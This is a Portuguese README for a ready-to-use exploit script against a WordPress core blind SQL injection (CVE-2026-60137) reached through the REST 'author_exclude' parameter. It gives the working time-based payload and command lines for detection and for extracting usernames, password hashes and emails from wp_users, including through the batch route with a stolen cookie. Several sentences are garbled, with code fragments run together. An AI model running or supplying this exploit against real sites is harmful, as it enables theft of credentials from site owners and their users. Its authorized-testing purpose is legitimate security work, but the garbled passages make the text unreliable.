
Prova de conceito não destrutiva e harness de verificação para CVE-2026-60137, uma injeção SQL cega no núcleo do WordPress (`WP_Query::author__not_in`), acessível por meio do parâmetro `author_exclude` da API REST.
Prova de conceito não destrutiva e ambiente de verificação para CVE-2026-60137, uma
injeção de SQL cega no núcleo do WordPress (WP_Query::author__not_in), acessível
via parâmetro author_exclude da API REST.
WP_Query::get_posts() constrói SQL concatenando strings da variável de consulta
author__not_in em:
... AND {wpdb->posts}.post_author NOT IN ( <value> )
O valor é sanitizado (absint por elemento) apenas quando chega como array. Se uma
string escalar for entregue — o parâmetro author_exclude da REST mapeia internamente
para — a proteção de sanitização é ignorada e a string bruta
cai dentro da cláusula , resultando em injeção de SQL ().
author__not_inis_array()NOT IN (...)Um payload da forma 1) OR SLEEP(6)# produz:
post_author NOT IN ( 1) OR SLEEP(6)# )
que é interpretado como post_author NOT IN (1) OR SLEEP(6) (o ) final é consumido
pelo comentário #) — um oráculo cego baseado em tempo, limpo e com zero escritas no banco de dados.
| Afetado | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Corrigido | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (sink isolado) |
| Encadeado | com CVE-2026-63030 (confusão de rota batch na REST) → 9.8 RCE pré-auth em 6.9.0 – 7.0.1 |
/wp-json/batch/v1.author_exclude escalar (HTTP 400) na rota
padrão de posts, então o sink normalmente só é acessível quando um plugin/tema repassa
entrada não confiável, ou através de uma sessão autenticada (--cookie) via rota batch.cve_2026_60137_poc.py é somente leitura contra o banco de dados:
readme.html,
índice /wp-json/) para verificar se a versão está em uma faixa afetada.SLEEP(0) vs. um payload SLEEP(n), através de vários vetores de entrega
(rotas REST diretas, ?rest_route= e o endpoint batch), e reporta um veredito por vetor.wp_users (user_login, user_pass, user_email)
via temporização de busca binária cega, usando estritamente SELECT/SLEEP — nunca
escreve no banco de dados.# Apenas impressão digital, nenhum payload enviado
python3 cve_2026_60137_poc.py --url https://target --safe
# Executar a matriz de detecção
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Sessão autenticada + extrair a linha 1 de wp_users
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Roteamento via Burp, ignorar verificação TLS, salvar evidência legível por máquina
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
| Flag | Padrão | Descrição |
|---|---|---|
--url | obrigatório | URL base do alvo |
--safe | desligado | Apenas impressão digital; não envia payloads |
--sleep | 6 | Segundos de SLEEP() usados pelo oráculo de detecção |
--samples | 3 | Amostras de temporização por medição (a mediana é usada) |
--threshold | 0.7 | Fração de --sleep tratada como delta positivo |
--extract | desligado | Extrai uma linha de wp_users via oráculo cego |
--user-id | 1 | wp_users.ID a extrair |
--extract-sleep | 2.0 | Segundos de SLEEP() por sonda de extração |
--limit | 64 | Máximo de caracteres por campo extraído |
--only-vector | — | Testa apenas vetores cujo nome contém esta string |
--cookie | — | Cookie autenticado para vetores que exigem auth |
--proxy | — | Proxy HTTP(S), ex.: http://127.0.0.1:8080 (Burp) |
--timeout | 30 | Tempo limite de requisição em segundos |
--no-verify-tls | desligado | Desativa a verificação de certificado TLS |
--json-out | — | Grava evidência legível por máquina em um arquivo JSON |
Esta ferramenta é fornecida apenas para testes de segurança autorizados — testes de penetração, CTFs e pesquisas contra sistemas que você possui ou para os quais tem permissão escrita explícita para avaliar. Executá-la contra sistemas sem autorização é ilegal. O autor não aceita nenhuma responsabilidade por uso indevido.
Qualquer saída gravada com --json-out pode conter a URL testada, a impressão digital
da versão e evidências de temporização — trate-a como dado sensível de engajamento.